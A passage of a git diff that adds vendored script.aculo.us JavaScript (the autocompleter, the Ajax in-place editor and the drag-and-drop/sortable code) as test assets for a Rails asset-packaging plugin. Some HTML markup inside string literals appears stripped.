if(this.getToken().length>=this.options.minChars) { + this.startIndicator(); + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getToken: function() { + var tokenPos = this.findLastToken(); + if (tokenPos != -1) + var ret = this.element.value.substr(tokenPos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var lastTokenPos = -1; + + for (var i=0; i lastTokenPos) + lastTokenPos = thisTokenPos; + } + return lastTokenPos; + } +} + +Ajax.Autocompleter = Class.create(); +Object.extend(Object.extend(Ajax.Autocompleter.prototype, Autocompleter.Base.prototype), { + initialize: function(element, update, url, options) { + this.baseInitialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this); + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + entry = encodeURIComponent(this.options.paramName) + '=' + + encodeURIComponent(this.getToken()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +}); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partialSearch - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option fullSearch to true (default: off). +// +// - fullSsearch - Search anywhere in autocomplete array strings. +// +// - partialChars - How many characters to enter before triggering +// a partial match (unlike minChars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignoreCase - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.baseInitialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partialSearch: true, + partialChars: 2, + ignoreCase: true, + fullSearch: false, + selector: function(instance) { + var ret = []; // Beginning matches + var partial = []; // Inside matches + var entry = instance.getToken(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + + var elem = instance.options.array[i]; + var foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (foundPos != -1) { + if (foundPos == 0 && elem.length != entry.length) { + ret.push("
  • " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
  • "); + break; + } else if (entry.length >= instance.options.partialChars && + instance.options.partialSearch && foundPos != -1) { + if (instance.options.fullSearch || /\s/.test(elem.substr(foundPos-1,1))) { + partial.push("
  • " + elem.substr(0, foundPos) + "" + + elem.substr(foundPos, entry.length) + "" + elem.substr( + foundPos + entry.length) + "
  • "); + break; + } + } + + foundPos = instance.options.ignoreCase ? + elem.toLowerCase().indexOf(entry.toLowerCase(), foundPos + 1) : + elem.indexOf(entry, foundPos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
      " + ret.join('') + "
    "; + } + }, options || {}); + } +}); + +// AJAX in-place editor +// +// see documentation on http://wiki.script.aculo.us/scriptaculous/show/Ajax.InPlaceEditor + +// Use this if you notice weird scrolling problems on some browsers, +// the DOM might be a bit confused when this gets called so do this +// waits 1 ms (with setTimeout) until it does the activation +Field.scrollFreeActivate = function(field) { + setTimeout(function() { + Field.activate(field); + }, 1); +} + +Ajax.InPlaceEditor = Class.create(); +Ajax.InPlaceEditor.defaultHighlightColor = "#FFFF99"; +Ajax.InPlaceEditor.prototype = { + initialize: function(element, url, options) { + this.url = url; + this.element = $(element); + + this.options = Object.extend({ + okButton: true, + okText: "ok", + cancelLink: true, + cancelText: "cancel", + savingText: "Saving...", + clickToEditText: "Click to edit", + okText: "ok", + rows: 1, + onComplete: function(transport, element) { + new Effect.Highlight(element, {startcolor: this.options.highlightcolor}); + }, + onFailure: function(transport) { + alert("Error communicating with the server: " + transport.responseText.stripTags()); + }, + callback: function(form) { + return Form.serialize(form); + }, + handleLineBreaks: true, + loadingText: 'Loading...', + savingClassName: 'inplaceeditor-saving', + loadingClassName: 'inplaceeditor-loading', + formClassName: 'inplaceeditor-form', + highlightcolor: Ajax.InPlaceEditor.defaultHighlightColor, + highlightendcolor: "#FFFFFF", + externalControl: null, + submitOnBlur: false, + ajaxOptions: {}, + evalScripts: false + }, options || {}); + + if(!this.options.formId && this.element.id) { + this.options.formId = this.element.id + "-inplaceeditor"; + if ($(this.options.formId)) { + // there's already a form with that name, don't specify an id + this.options.formId = null; + } + } + + if (this.options.externalControl) { + this.options.externalControl = $(this.options.externalControl); + } + + this.originalBackground = Element.getStyle(this.element, 'background-color'); + if (!this.originalBackground) { + this.originalBackground = "transparent"; + } + + this.element.title = this.options.clickToEditText; + + this.onclickListener = this.enterEditMode.bindAsEventListener(this); + this.mouseoverListener = this.enterHover.bindAsEventListener(this); + this.mouseoutListener = this.leaveHover.bindAsEventListener(this); + Event.observe(this.element, 'click', this.onclickListener); + Event.observe(this.element, 'mouseover', this.mouseoverListener); + Event.observe(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.observe(this.options.externalControl, 'click', this.onclickListener); + Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + }, + enterEditMode: function(evt) { + if (this.saving) return; + if (this.editing) return; + this.editing = true; + this.onEnterEditMode(); + if (this.options.externalControl) { + Element.hide(this.options.externalControl); + } + Element.hide(this.element); + this.createForm(); + this.element.parentNode.insertBefore(this.form, this.element); + Field.scrollFreeActivate(this.editField); + // stop the event to avoid a page refresh in Safari + if (evt) { + Event.stop(evt); + } + return false; + }, + createForm: function() { + this.form = document.createElement("form"); + this.form.id = this.options.formId; + Element.addClassName(this.form, this.options.formClassName) + this.form.onsubmit = this.onSubmit.bind(this); + + this.createEditField(); + + if (this.options.textarea) { + var br = document.createElement("br"); + this.form.appendChild(br); + } + + if (this.options.okButton) { + okButton = document.createElement("input"); + okButton.type = "submit"; + okButton.value = this.options.okText; + okButton.className = 'editor_ok_button'; + this.form.appendChild(okButton); + } + + if (this.options.cancelLink) { + cancelLink = document.createElement("a"); + cancelLink.href = "#"; + cancelLink.appendChild(document.createTextNode(this.options.cancelText)); + cancelLink.onclick = this.onclickCancel.bind(this); + cancelLink.className = 'editor_cancel'; + this.form.appendChild(cancelLink); + } + }, + hasHTMLLineBreaks: function(string) { + if (!this.options.handleLineBreaks) return false; + return string.match(/
    /i); + }, + convertHTMLLineBreaks: function(string) { + return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); + }, + createEditField: function() { + var text; + if(this.options.loadTextURL) { + text = this.options.loadingText; + } else { + text = this.getText(); + } + + var obj = this; + + if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { + this.options.textarea = false; + var textField = document.createElement("input"); + textField.obj = this; + textField.type = "text"; + textField.name = "value"; + textField.value = text; + textField.style.backgroundColor = this.options.highlightcolor; + textField.className = 'editor_field'; + var size = this.options.size || this.options.cols || 0; + if (size != 0) textField.size = size; + if (this.options.submitOnBlur) + textField.onblur = this.onSubmit.bind(this); + this.editField = textField; + } else { + this.options.textarea = true; + var textArea = document.createElement("textarea"); + textArea.obj = this; + textArea.name = "value"; + textArea.value = this.convertHTMLLineBreaks(text); + textArea.rows = this.options.rows; + textArea.cols = this.options.cols || 40; + textArea.className = 'editor_field'; + if (this.options.submitOnBlur) + textArea.onblur = this.onSubmit.bind(this); + this.editField = textArea; + } + + if(this.options.loadTextURL) { + this.loadExternalText(); + } + this.form.appendChild(this.editField); + }, + getText: function() { + return this.element.innerHTML; + }, + loadExternalText: function() { + Element.addClassName(this.form, this.options.loadingClassName); + this.editField.disabled = true; + new Ajax.Request( + this.options.loadTextURL, + Object.extend({ + asynchronous: true, + onComplete: this.onLoadedExternalText.bind(this) + }, this.options.ajaxOptions) + ); + }, + onLoadedExternalText: function(transport) { + Element.removeClassName(this.form, this.options.loadingClassName); + this.editField.disabled = false; + this.editField.value = transport.responseText.stripTags(); + }, + onclickCancel: function() { + this.onComplete(); + this.leaveEditMode(); + return false; + }, + onFailure: function(transport) { + this.options.onFailure(transport); + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + this.oldInnerHTML = null; + } + return false; + }, + onSubmit: function() { + // onLoading resets these so we need to save them away for the Ajax call + var form = this.form; + var value = this.editField.value; + + // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... + // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... + // to be displayed indefinitely + this.onLoading(); + + if (this.options.evalScripts) { + new Ajax.Request( + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this), + asynchronous:true, + evalScripts:true + }, this.options.ajaxOptions)); + } else { + new Ajax.Updater( + { success: this.element, + // don't update on failure (this could be an option) + failure: null }, + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this) + }, this.options.ajaxOptions)); + } + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + return false; + }, + onLoading: function() { + this.saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + showSaving: function() { + this.oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + Element.addClassName(this.element, this.options.savingClassName); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + }, + removeForm: function() { + if(this.form) { + if (this.form.parentNode) Element.remove(this.form); + this.form = null; + } + }, + enterHover: function() { + if (this.saving) return; + this.element.style.backgroundColor = this.options.highlightcolor; + if (this.effect) { + this.effect.cancel(); + } + Element.addClassName(this.element, this.options.hoverClassName) + }, + leaveHover: function() { + if (this.options.backgroundColor) { + this.element.style.backgroundColor = this.oldBackground; + } + Element.removeClassName(this.element, this.options.hoverClassName) + if (this.saving) return; + this.effect = new Effect.Highlight(this.element, { + startcolor: this.options.highlightcolor, + endcolor: this.options.highlightendcolor, + restorecolor: this.originalBackground + }); + }, + leaveEditMode: function() { + Element.removeClassName(this.element, this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + if (this.options.externalControl) { + Element.show(this.options.externalControl); + } + this.editing = false; + this.saving = false; + this.oldInnerHTML = null; + this.onLeaveEditMode(); + }, + onComplete: function(transport) { + this.leaveEditMode(); + this.options.onComplete.bind(this)(transport, this.element); + }, + onEnterEditMode: function() {}, + onLeaveEditMode: function() {}, + dispose: function() { + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + } + this.leaveEditMode(); + Event.stopObserving(this.element, 'click', this.onclickListener); + Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); + Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + } +}; + +Ajax.InPlaceCollectionEditor = Class.create(); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, { + createEditField: function() { + if (!this.cached_selectTag) { + var selectTag = document.createElement("select"); + var collection = this.options.collection || []; + var optionTag; + collection.each(function(e,i) { + optionTag = document.createElement("option"); + optionTag.value = (e instanceof Array) ? e[0] : e; + if(this.options.value==optionTag.value) optionTag.selected = true; + optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e)); + selectTag.appendChild(optionTag); + }.bind(this)); + this.cached_selectTag = selectTag; + } + + this.editField = this.cached_selectTag; + if(this.options.loadTextURL) this.loadExternalText(); + this.form.appendChild(this.editField); + this.options.callback = function(form, value) { + return "value=" + encodeURIComponent(value); + } + } +}); + +// Delayed observer, like Form.Element.Observer, +// but waits for delay after last key input +// Ideal for live-search fields + +Form.Element.DelayedObserver = Class.create(); +Form.Element.DelayedObserver.prototype = { + initialize: function(element, delay, callback) { + this.delay = delay || 0.5; + this.element = $(element); + this.callback = callback; + this.timer = null; + this.lastValue = $F(this.element); + Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); + }, + delayedListener: function(event) { + if(this.lastValue == $F(this.element)) return; + if(this.timer) clearTimeout(this.timer); + this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); + this.lastValue = $F(this.element); + }, + onTimerEvent: function() { + this.timer = null; + this.callback(this.element, $F(this.element)); + } +}; diff --git a/vendor/plugins/asset_packager/test/assets/javascripts/dragdrop.js b/vendor/plugins/asset_packager/test/assets/javascripts/dragdrop.js new file mode 100644 index 0000000..a01b7be --- /dev/null +++ b/vendor/plugins/asset_packager/test/assets/javascripts/dragdrop.js @@ -0,0 +1,913 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) +// +// See scriptaculous.js for full license. + +/*--------------------------------------------------------------------------*/ + +var Droppables = { + drops: [], + + remove: function(element) { + this.drops = this.drops.reject(function(d) { return d.element==$(element) }); + }, + + add: function(element) { + element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null, + tree: false + }, arguments[1] || {}); + + // cache containers + if(options.containment) { + options._containers = []; + var containment = options.containment; + if((typeof containment == 'object') && + (containment.constructor == Array)) { + containment.each( function(c) { options._containers.push($(c)) }); + } else { + options._containers.push($(containment)); + } + } + + if(options.accept) options.accept = [options.accept].flatten(); + + Element.makePositioned(element); // fix IE + options.element = element; + + this.drops.push(options); + }, + + findDeepestChild: function(drops) { + deepest = drops[0]; + + for (i = 1; i < drops.length; ++i) + if (Element.isParent(drops[i].element, deepest.element)) + deepest = drops[i]; + + return deepest; + }, + + isContained: function(element, drop) { + var containmentNode; + if(drop.tree) { + containmentNode = element.treeNode; + } else { + containmentNode = element.parentNode; + } + return drop._containers.detect(function(c) { return containmentNode == c }); + }, + + isAffected: function(point, element, drop) { + return ( + (drop.element!=element) && + ((!drop._containers) || + this.isContained(element, drop)) && + ((!drop.accept) || + (Element.classNames(element).detect( + function(v) { return drop.accept.include(v) } ) )) && + Position.within(drop.element, point[0], point[1]) ); + }, + + deactivate: function(drop) { + if(drop.hoverclass) + Element.removeClassName(drop.element, drop.hoverclass); + this.last_active = null; + }, + + activate: function(drop) { + if(drop.hoverclass) + Element.addClassName(drop.element, drop.hoverclass); + this.last_active = drop; + }, + + show: function(point, element) { + if(!this.drops.length) return; + var affected = []; + + if(this.last_active) this.deactivate(this.last_active); + this.drops.each( function(drop) { + if(Droppables.isAffected(point, element, drop)) + affected.push(drop); + }); + + if(affected.length>0) { + drop = Droppables.findDeepestChild(affected); + Position.within(drop.element, point[0], point[1]); + if(drop.onHover) + drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); + + Droppables.activate(drop); + } + }, + + fire: function(event, element) { + if(!this.last_active) return; + Position.prepare(); + + if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) + if (this.last_active.onDrop) + this.last_active.onDrop(element, this.last_active.element, event); + }, + + reset: function() { + if(this.last_active) + this.deactivate(this.last_active); + } +} + +var Draggables = { + drags: [], + observers: [], + + register: function(draggable) { + if(this.drags.length == 0) { + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.updateDrag.bindAsEventListener(this); + this.eventKeypress = this.keyPress.bindAsEventListener(this); + + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + Event.observe(document, "keypress", this.eventKeypress); + } + this.drags.push(draggable); + }, + + unregister: function(draggable) { + this.drags = this.drags.reject(function(d) { return d==draggable }); + if(this.drags.length == 0) { + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + Event.stopObserving(document, "keypress", this.eventKeypress); + } + }, + + activate: function(draggable) { + window.focus(); // allows keypress events if window isn't currently focused, fails for Safari + this.activeDraggable = draggable; + }, + + deactivate: function() { + this.activeDraggable = null; + }, + + updateDrag: function(event) { + if(!this.activeDraggable) return; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + // Mozilla-based browsers fire successive mousemove events with + // the same coordinates, prevent needless redrawing (moz bug?) + if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; + this._lastPointer = pointer; + this.activeDraggable.updateDrag(event, pointer); + }, + + endDrag: function(event) { + if(!this.activeDraggable) return; + this._lastPointer = null; + this.activeDraggable.endDrag(event); + this.activeDraggable = null; + }, + + keyPress: function(event) { + if(this.activeDraggable) + this.activeDraggable.keyPress(event); + }, + + addObserver: function(observer) { + this.observers.push(observer); + this._cacheObserverCallbacks(); + }, + + removeObserver: function(element) { // element instead of observer fixes mem leaks + this.observers = this.observers.reject( function(o) { return o.element==element }); + this._cacheObserverCallbacks(); + }, + + notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' + if(this[eventName+'Count'] > 0) + this.observers.each( function(o) { + if(o[eventName]) o[eventName](eventName, draggable, event); + }); + }, + + _cacheObserverCallbacks: function() { + ['onStart','onEnd','onDrag'].each( function(eventName) { + Draggables[eventName+'Count'] = Draggables.observers.select( + function(o) { return o[eventName]; } + ).length; + }); + } +} + +/*--------------------------------------------------------------------------*/ + +var Draggable = Class.create(); +Draggable.prototype = { + initialize: function(element) { + var options = Object.extend({ + handle: false, + starteffect: function(element) { + new Effect.Opacity(element, {duration:0.2, from:1.0, to:0.7}); + }, + reverteffect: function(element, top_offset, left_offset) { + var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; + element._revert = new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur}); + }, + endeffect: function(element) { + new Effect.Opacity(element, {duration:0.2, from:0.7, to:1.0}); + }, + zindex: 1000, + revert: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + snap: false // false, or xy or [x,y] or function(x,y){ return [x,y] } + }, arguments[1] || {}); + + this.element = $(element); + + if(options.handle && (typeof options.handle == 'string')) { + var h = Element.childrenWithClassName(this.element, options.handle, true); + if(h.length>0) this.handle = h[0]; + } + if(!this.handle) this.handle = $(options.handle); + if(!this.handle) this.handle = this.element; + + if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) + options.scroll = $(options.scroll); + + Element.makePositioned(this.element); // fix IE + + this.delta = this.currentDelta(); + this.options = options; + this.dragging = false; + + this.eventMouseDown = this.initDrag.bindAsEventListener(this); + Event.observe(this.handle, "mousedown", this.eventMouseDown); + + Draggables.register(this); + }, + + destroy: function() { + Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); + Draggables.unregister(this); + }, + + currentDelta: function() { + return([ + parseInt(Element.getStyle(this.element,'left') || '0'), + parseInt(Element.getStyle(this.element,'top') || '0')]); + }, + + initDrag: function(event) { + if(Event.isLeftClick(event)) { + // abort on form elements, fixes a Firefox issue + var src = Event.element(event); + if(src.tagName && ( + src.tagName=='INPUT' || + src.tagName=='SELECT' || + src.tagName=='OPTION' || + src.tagName=='BUTTON' || + src.tagName=='TEXTAREA')) return; + + if(this.element._revert) { + this.element._revert.cancel(); + this.element._revert = null; + } + + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var pos = Position.cumulativeOffset(this.element); + this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); + + Draggables.activate(this); + Event.stop(event); + } + }, + + startDrag: function(event) { + this.dragging = true; + + if(this.options.zindex) { + this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); + this.element.style.zIndex = this.options.zindex; + } + + if(this.options.ghosting) { + this._clone = this.element.cloneNode(true); + Position.absolutize(this.element); + this.element.parentNode.insertBefore(this._clone, this.element); + } + + if(this.options.scroll) { + if (this.options.scroll == window) { + var where = this._getWindowScroll(this.options.scroll); + this.originalScrollLeft = where.left; + this.originalScrollTop = where.top; + } else { + this.originalScrollLeft = this.options.scroll.scrollLeft; + this.originalScrollTop = this.options.scroll.scrollTop; + } + } + + Draggables.notify('onStart', this, event); + if(this.options.starteffect) this.options.starteffect(this.element); + }, + + updateDrag: function(event, pointer) { + if(!this.dragging) this.startDrag(event); + Position.prepare(); + Droppables.show(pointer, this.element); + Draggables.notify('onDrag', this, event); + this.draw(pointer); + if(this.options.change) this.options.change(this); + + if(this.options.scroll) { + this.stopScrolling(); + + var p; + if (this.options.scroll == window) { + with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } + } else { + p = Position.page(this.options.scroll); + p[0] += this.options.scroll.scrollLeft; + p[1] += this.options.scroll.scrollTop; + p.push(p[0]+this.options.scroll.offsetWidth); + p.push(p[1]+this.options.scroll.offsetHeight); + } + var speed = [0,0]; + if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); + if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); + if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); + if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); + this.startScrolling(speed); + } + + // fix AppleWebKit rendering + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + + Event.stop(event); + }, + + finishDrag: function(event, success) { + this.dragging = false; + + if(this.options.ghosting) { + Position.relativize(this.element); + Element.remove(this._clone); + this._clone = null; + } + + if(success) Droppables.fire(event, this.element); + Draggables.notify('onEnd', this, event); + + var revert = this.options.revert; + if(revert && typeof revert == 'function') revert = revert(this.element); + + var d = this.currentDelta(); + if(revert && this.options.reverteffect) { + this.options.reverteffect(this.element, + d[1]-this.delta[1], d[0]-this.delta[0]); + } else { + this.delta = d; + } + + if(this.options.zindex) + this.element.style.zIndex = this.originalZ; + + if(this.options.endeffect) + this.options.endeffect(this.element); + + Draggables.deactivate(this); + Droppables.reset(); + }, + + keyPress: function(event) { + if(event.keyCode!=Event.KEY_ESC) return; + this.finishDrag(event, false); + Event.stop(event); + }, + + endDrag: function(event) { + if(!this.dragging) return; + this.stopScrolling(); + this.finishDrag(event, true); + Event.stop(event); + }, + + draw: function(point) { + var pos = Position.cumulativeOffset(this.element); + var d = this.currentDelta(); + pos[0] -= d[0]; pos[1] -= d[1]; + + if(this.options.scroll && (this.options.scroll != window)) { + pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; + pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; + } + + var p = [0,1].map(function(i){ + return (point[i]-pos[i]-this.offset[i]) + }.bind(this)); + + if(this.options.snap) { + if(typeof this.options.snap == 'function') { + p = this.options.snap(p[0],p[1]); + } else { + if(this.options.snap instanceof Array) { + p = p.map( function(v, i) { + return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this)) + } else { + p = p.map( function(v) { + return Math.round(v/this.options.snap)*this.options.snap }.bind(this)) + } + }} + + var style = this.element.style; + if((!this.options.constraint) || (this.options.constraint=='horizontal')) + style.left = p[0] + "px"; + if((!this.options.constraint) || (this.options.constraint=='vertical')) + style.top = p[1] + "px"; + if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering + }, + + stopScrolling: function() { + if(this.scrollInterval) { + clearInterval(this.scrollInterval); + this.scrollInterval = null; + Draggables._lastScrollPointer = null; + } + }, + + startScrolling: function(speed) { + this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; + this.lastScrolled = new Date(); + this.scrollInterval = setInterval(this.scroll.bind(this), 10); + }, + + scroll: function() { + var current = new Date(); + var delta = current - this.lastScrolled; + this.lastScrolled = current; + if(this.options.scroll == window) { + with (this._getWindowScroll(this.options.scroll)) { + if (this.scrollSpeed[0] || this.scrollSpeed[1]) { + var d = delta / 1000; + this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); + } + } + } else { + this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; + this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; + } + + Position.prepare(); + Droppables.show(Draggables._lastPointer, this.element); + Draggables.notify('onDrag', this); + Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); + Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; + Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; + if (Draggables._lastScrollPointer[0] < 0) + Draggables._lastScrollPointer[0] = 0; + if (Draggables._lastScrollPointer[1] < 0) + Draggables._lastScrollPointer[1] = 0; + this.draw(Draggables._lastScrollPointer); + + if(this.options.change) this.options.change(this); + }, + + _getWindowScroll: function(w) { + var T, L, W, H; + with (w.document) { + if (w.document.documentElement && documentElement.scrollTop) { + T = documentElement.scrollTop; + L = documentElement.scrollLeft; + } else if (w.document.body) { + T = body.scrollTop; + L = body.scrollLeft; + } + if (w.innerWidth) { + W = w.innerWidth; + H = w.innerHeight; + } else if (w.document.documentElement && documentElement.clientWidth) { + W = documentElement.clientWidth; + H = documentElement.clientHeight; + } else { + W = body.offsetWidth; + H = body.offsetHeight + } + } + return { top: T, left: L, width: W, height: H }; + } +} + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +var Sortable = { + sortables: {}, + + _findRootElement: function(element) { + while (element.tagName != "BODY") { + if(element.id && Sortable.sortables[element.id]) return element; + element = element.parentNode; + } + }, + + options: function(element) { + element = Sortable._findRootElement($(element)); + if(!element) return; + return Sortable.sortables[element.id]; + }, + + destroy: function(element){ + var s = Sortable.options(element); + + if(s) { + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + + delete Sortable.sortables[s.element.id]; + } + }, + + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, + treeTag: 'ul', + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + hoverclass: null, + ghosting: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + format: /^[^_]*_(.*)$/, + onChange: Prototype.emptyFunction, + onUpdate: Prototype.emptyFunction + }, arguments[1] || {}); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + scroll: options.scroll, + scrollSpeed: options.scrollSpeed, + scrollSensitivity: options.scrollSensitivity, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + tree: options.tree, + hoverclass: options.hoverclass, + onHover: Sortable.onHover + //greedy: !options.dropOnEmpty + } + + var options_for_tree = { + onHover: Sortable.onEmptyHover, + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // drop on empty handling + if(options.dropOnEmpty || options.tree) { + Droppables.add(element, options_for_tree); + options.droppables.push(element); + } + + (this.findElements(element, options) || []).each( function(e) { + // handles are per-draggable + var handle = options.handle ? + Element.childrenWithClassName(e, options.handle)[0] : e; + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + if(options.tree) e.treeNode = element; + options.droppables.push(e); + }); + + if(options.tree) { + (Sortable.findTreeElements(element, options) || []).each( function(e) { + Droppables.add(e, options_for_tree); + e.treeNode = element; + options.droppables.push(e); + }); + } + + // keep reference + this.sortables[element.id] = options; + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.tag); + }, + + findTreeElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.treeTag); + }, + + onHover: function(element, dropon, overlap) { + if(Element.isParent(dropon, 